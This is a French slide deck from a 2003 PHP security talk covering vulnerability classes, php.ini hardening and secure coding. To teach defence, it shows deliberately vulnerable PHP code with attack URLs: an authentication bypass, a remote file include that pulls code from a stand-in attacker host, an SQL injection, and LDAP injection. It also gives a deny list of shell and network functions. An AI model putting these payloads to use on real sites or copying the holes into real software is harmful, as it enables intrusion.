HERVÉ SCHAUER CONSULTANTS
Cabinet de Consultants en Sécurité Informatique depuis 1989
Spécialisé sur Unix, Windows, TCP/IP et Internet

Forum AFUP 2003

Sécurité PHP

Alain Thivillon
<Alain.Thivillon@hsc.fr>

Constat d'un consultant en sécurité ...

- Les problèmes de sécurité se sont déplacés
  - Jusqu'en 1999/2000, les plus gros problèmes étaient trouvés dans l'infrastructure (routeurs, filtrages) ou sur les logiciels serveurs (failles IIS, failles Apache, sendmail, ...)
  - Ces problèmes sont de mieux en mieux appréhendés par les administrateurs et les hébergeurs (upgrade massif de machines, application automatisée des correctifs)
  - Les applications sont de plus en plus la cible des attaques
- La sécurité des applications n'a pas évolué
  - Elle a même probablement baissé (les applications se complexifiant)
  - On voit des horreurs, même par de grands noms de l'industrie logicielle ....
  - Les langages de programmation sont indirectement responsables

Plan

- Analyse et Classification des Risques
  - Distinguer trois types de vulnérabilités PHP
  - Distinguer les cibles
  - Exemples de problèmes
- Recommandations
  - Compilation, Installation
  - Configuration
  - Programmation
- Méthodes
  - Actions en amont
  - Audits, ...

Vulnérabilités PHP - PHP Lui même

- Vulnérabilités dans l'interpréteur
  - Directes dans le traitement des données réseau (exemple «File Upload Vulnerability» http://www.cert.org/advisories/CA-2002-05.html)
  - Locales dans l'interpréteur
  - Dans les modules annexes (exemple IMAP)
  - Dans les bibliothèques (OpenSSL, Zlib, ...)
  - Dues à l'implémentation de fonctions (random, suivi de session, safe-mode, mail ...)
- Causes
  - Coder en C est un art difficile !
  - La qualité du code dans PHP est très variable selon les modules
  - C'est aussi le cas ailleurs !

Vulnérabilités PHP - Langage - 1

- Langage faiblement typé
- Variables non déclarées, non initialisées
  - Attention aux effets de bord
- Pollution de l'espace de nommage
  - Jusqu'à récemment, les variables HTTP étaient automatiquement injectées:

```
http://www.site.com/huhu.php?toto=a&tutu=b ⇨
$toto = "a";
$tutu = "b";
```

  - Idem pour valeurs des POST ou des COOKIE
- Facilité pour atteindre des fichiers sur le réseau:

```
$file = "http://www.site.com/marque.txt";
$fh = open($file);
```

Vulnérabilités PHP - Langage - 2

- Pas de mode «Tainted»
  - Interdire dans les accès aux ressources des données polluées
  - Difficile de gérer de manière automatique la pollution des variables par les données utilisateurs
  - Vrai manque
- Jusqu'à récemment, pas de couche standard d'abstraction aux bases de données
  - Une BD : Un driver
  - Pas de requêtes SQL paramétrées
- Pas de gestion d'exception (arrive en 5)
  - Gestion à la main
  - Beaucoup d'avertissements pas affichés par défaut
- Mélange Code et HTML

Vulnérabilités PHP - Programmeurs

- Beaucoup de programmeurs PHP ont une expérience légère de la programmation
  - Erreurs classiques
  - Difficultés à voir l'application avec un autre oeil
- Réutilisation du code
  - Tout le monde aime bien réinventer la roue !
  - ... et tout le monde fait les mêmes erreurs
- Problèmes classiques des applications Web
  - Erreurs dans le suivi de l'authentification ou des autorisations
  - Injection SQL
  - Injection de code via `system()`, ...
  - Insécurité dans les accès aux systèmes de fichiers
  - XSS (Cross Site Scripting)

Attaquants et Cibles

- Attaque sur l'application elle-même
  - Usurpation, Fraude, Vol
- Attaque sur le système via l'application
  - Utilisation de PHP pour obtenir un shell et continuer l'intrusion
- Attaque sur l'hébergement
  - PHP est utilisé par l'attaquant qui peut déposer des scripts pour attaquer d'autres comptes utilisateurs.
  - Utilisation de l'hébergement pour spammer, DOS, rebondir : interdire les connexions réseaux sortantes
  - Problème très difficile à résoudre.
    - Le safe-mode est une mauvaise réponse qui essaie de réinventer la sémantique des ACLs d'un système d'exploitation et qui a montré ses limites
  - PHP en mode CGI, utilisation de `jail` ou `chroot` et des autorisations Unix

Exemples d'attaques - 1

Empoisonnement du *namespace*

```
<?
if (isset($_SESSION['login'])) {
  $authenticated=true;
}
else if ($_SERVER['REMOTE_ADDR'] == '192.168.230.10') {
  $authenticated=true;
};
if (!$authenticated) {
  header("Location: http://www.site.com/login.php");
  exit;
};
echo "coucou<br>";
?>
```

http://www.site.com/bug.php?authenticated=true

```
Journal: PHP Notice:  Undefined variable:  authenticated in /home/titi/public_html/php/o.php on line 8
```

Site qui nécessite REGISTER_GLOBALS=ON ou
Site qui fait des avertissement de variables non déclarées

⇨Site à refuser

Exemples d'attaques - 2

Injection de Code PHP

```
<?
   if (!isset($_REQUEST['page'])){
     header("Status: 500 Bad parameters");
     header("Content-Type: text/plain; charset=us-ascii");
     echo "Bad parameter page";
     exit;
   }
   $page = $_REQUEST['page'];
   if (ereg("\.php$",$page) and !ereg("\.\.",$page) and !ereg("^/",$page)) {
     include($page);
   }
   else {
     header("Status: 500 Bad parameters");
     header("Content-Type: text/plain; charset=us-ascii");
     echo "Hack attempt";
   }
?>
```

http://www.site/index.php?page=http://www.pirate.com/moncode.php

Exemples d'attaques - 3

Injection SQL

```
<?
   if (!isset($_SESSION["login"])) {
     header("Location: /auth.html");
     exit;
   }
   if (!isset($_REQUEST['articleid'])) {
     header("Status: 500 Bad parameters");
     header("Content-Type: text/plain; charset=us-ascii");
     echo "Bad parameter articleid";
     exit;
   };
   $articleid=$_REQUEST['articleid'];
   $accesslevel=$_SESSION['accesslevel'];
   $request = "SELECT title,author,text FROM articles WHERE articleid = ".
              $articleid . "and accesslevel <= " .$accesslevel;
...
```

http://www.site.com/sql.php?articleid=10+or+1%3D1+--

Recommandations

- Compiler son propre *package*
  - Permet de limiter le nombre de modules compilés,
  - Permet de rajouter des options
    - par exemple **`--disable-posix --disable-sockets`**
  - Repartir du *package* source (par exemple le port FreeBSD, *apt-get source*, ...) pour faciliter la maintenance
- Options/Modules à supprimer

```
--disable-cli --disable-sockets --disable-ftp --enable-force-cgi-redirect --enable-
discard-path --disable-pear --with-mysql=/usr/local/mysql --disable-sysvmsg --
disable-sysvsem --disable-sysvshm --disable-xml --disable-posix --without-ldap --
without-imap --without-snmp --without-openssl
```

- Permet aussi de rendre plus difficile les attaques automatiques par débordement de buffer.
- Après installation, sceller les binaires (Aide, Tripwire)

Configuration (php.ini) - 1

- Étape très importante
  - Beaucoup de comportements discutables par défaut peuvent être changés
  - Voir le fichier `php-ini.recommended` pour des valeurs plus strictes
- S'assurer que les utilisateurs ne peuvent pas changer la configuration dans les `.htaccess`:
  - CGI : `Setenv PHPRC /usr/local/etc/php.ini`
  - Module : supprimer le "`AllowOverride Options`" ou forcer les valeurs avec `php_admin_value` et `php_admin_flag`

Configuration (php.ini) - 2

- Gestion des erreurs

```
error_reporting  =  E_ALL
display_errors = Off
log_errors = On
```

- Variables

```
variables_order = "GPCS"
register_globals = Off
register_argc_argv = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
```

- Sessions

```
session.save_path = /var/apache/php/sessions
session.use_cookies = 1
session.use_only_cookies = 1
session.auto_start = 0
session.cookie_lifetime = 7200
session.gc_probability = 0
```

Configuration (php.ini) - 3

- Limitations de l'interpréteur (suite)

```
disable_functions = exec,system,popen,proc_open,passthru,fsockopen,
ftp_connect,ftp_ssl_connect,dl_open,mail.
enable_dl=off
allow_url_fopen = Off
open_basedir = /home/site/html:/home/site/includes
extension_dir = /nowhere
include_path = ""
file_uploads = Off
```

- Une fois la configuration achevée, regarder ce qui ne marche plus.
  - La plupart des applications relativement récentes supportent bien le traitement (y compris des poids lourds comme SquirrelMail ou PHPBB)
  - Essayer de faire modifier les applications et pas l'inverse

Programmation

- Organisation dans le système de fichiers
  - Les fichiers de paramètres, *includes, librairies, templates* ne doivent pas se trouver dans l'arborescence Web (choisir un hébergeur qui le permet)
  - Les fichiers créés par l'application ne doivent pas se trouver dans l'arborescence Web
  - Attention : dans une application authentifiée par Cookie, TOUT doit être authentifié : pour les documents (pdf, ..) il faut écrire un script «serveur».
- Problèmes classiques de race-condition:
  - Fichier temporaires à créer avec `tmpfile()` (Fichiers anonymes) ,`tmpnam()` et `fopen(..,"x+")`
  - Vérifier quand un fichier est ouvert qu'il est bien local (`file_exists()`)
- Attention dans l'upload de fichier
  - Fonction `is_uploaded_file()`

Programmation - 2

- Filtrage des entrées
  - Vérifier que les entiers sont des entiers ...
  - Noms de fichiers dans une expression rationnelle stricte (ex: `"^[a-zA-A0-9]\.php$"`)
  - Se méfier des caractères nuls %00 pas forcément interprétés de la même manière par tous les modules
- Problèmes classiques non spécifiques à PHP
  - Champs Hidden utilisés pour passer des données d'un formulaire à l'autre
  - Autorisations non vérifiées
  - Authentification basée simplement sur la présence d'un cookie mais pas sa valeur ...
- Appels systèmes
  - Utiliser `escapeshellcmd` et `escapeshellargs`

Programmation - 3

- Filtrage des sorties
  - Pour lutter contre le XSS
  - Utiliser `htmlentities()` pour TOUTES les données
    - Exemple : données entrées sur un Minitel et ressorties sur le Web
    - HTML est un langage, il faut respecter les verbes du langage !
- Quand il est nécessaire de sortir du HTML :
  - S'en tenir à quelques balises connues de formatage
  - Vider les attributs `target`, `code`, `action`, `codetype` et `language`.
  - C'est une tâche difficile : utiliser des bibliothèques comme celles de Squirrelmail (http://linux.duke.edu/projects/mini/htmlfilter/)

Programmation - 4

- Injection SQL
  - Échapper les chaînes
  - Vérifier les entiers
  - Utiliser PEAR et les « `placeholders` »
- Attention, il existe de «l'injection» LDAP !

```
$result=ldap_search($ds,$ldaprdn, "(&(uid=$login)(userpassword=$passwd))");
$info = ldap_get_entries($ds, $result);
if($info["count"] == 1) {
```

  - Si password = '*' ...
- Gestion des sessions
  - Recréer une session après authentification (Lutte contre les attaques par fixation de session)
  - Vérifier l'adresse IP

Méthodes

- Impliquer la sécurité dès le début du projet
  - Ça ne veut pas seulement dire «Il y aura un Firewall» ou «On va faire du SSL»
  - Recenser les risques
  - Demander aux chefs de projet les actions qui seront menées
  - Organiser des points de contrôle dans le développement
- Sensibiliser les développeurs
  - Formation !
  - Montrer des exemples de code vérolé, expliquer, ...
  - Travailler dès le début sur des serveurs de développement correctement configurés
  - Cahier d'exigences de sécurité
  - Prime à la faille corrigée ☺

Methodes - 2

- Audit Applicatif
  - S'effectue avant la recette
  - Sur la plateforme de qualification/développement
- Idée :
  - On a le code source
  - On se fait expliquer l'application, on interviewe les développeurs
  - Attaques anonymes puis avec un compte sur l'application
  - On cherche des failles dans le code et on les essaye
- Recherche
  - Des méthodes d'authentification
  - Des flux de données, ...
- Prestation très efficace, beaucoup plus intéressante qu'un test d'intrusion aveugle

Conclusion

- PHP (et l'environnement) est un langage complexe
  - Né pour être appris rapidement et facilement par des non-informaticiens
  - A évolué surtout sous la pression des besoins
  - Les mécanismes de sécurité ont été ajoutés ensuite
- Il est possible de faire des applications fiables et sécurisées
  - Cela demande une implication de tous les acteurs :
    - Les administrateurs pour la configuration et la connaissance du fonctionnement de PHP
    - Les chefs de projet pour encadrer et valider la sécurité
    - Les développeurs
    - Le client pour faire ensuite auditer l'application
- La plupart des problèmes et des solutions se retrouvent dans les langages de même type
  - ASP en particulier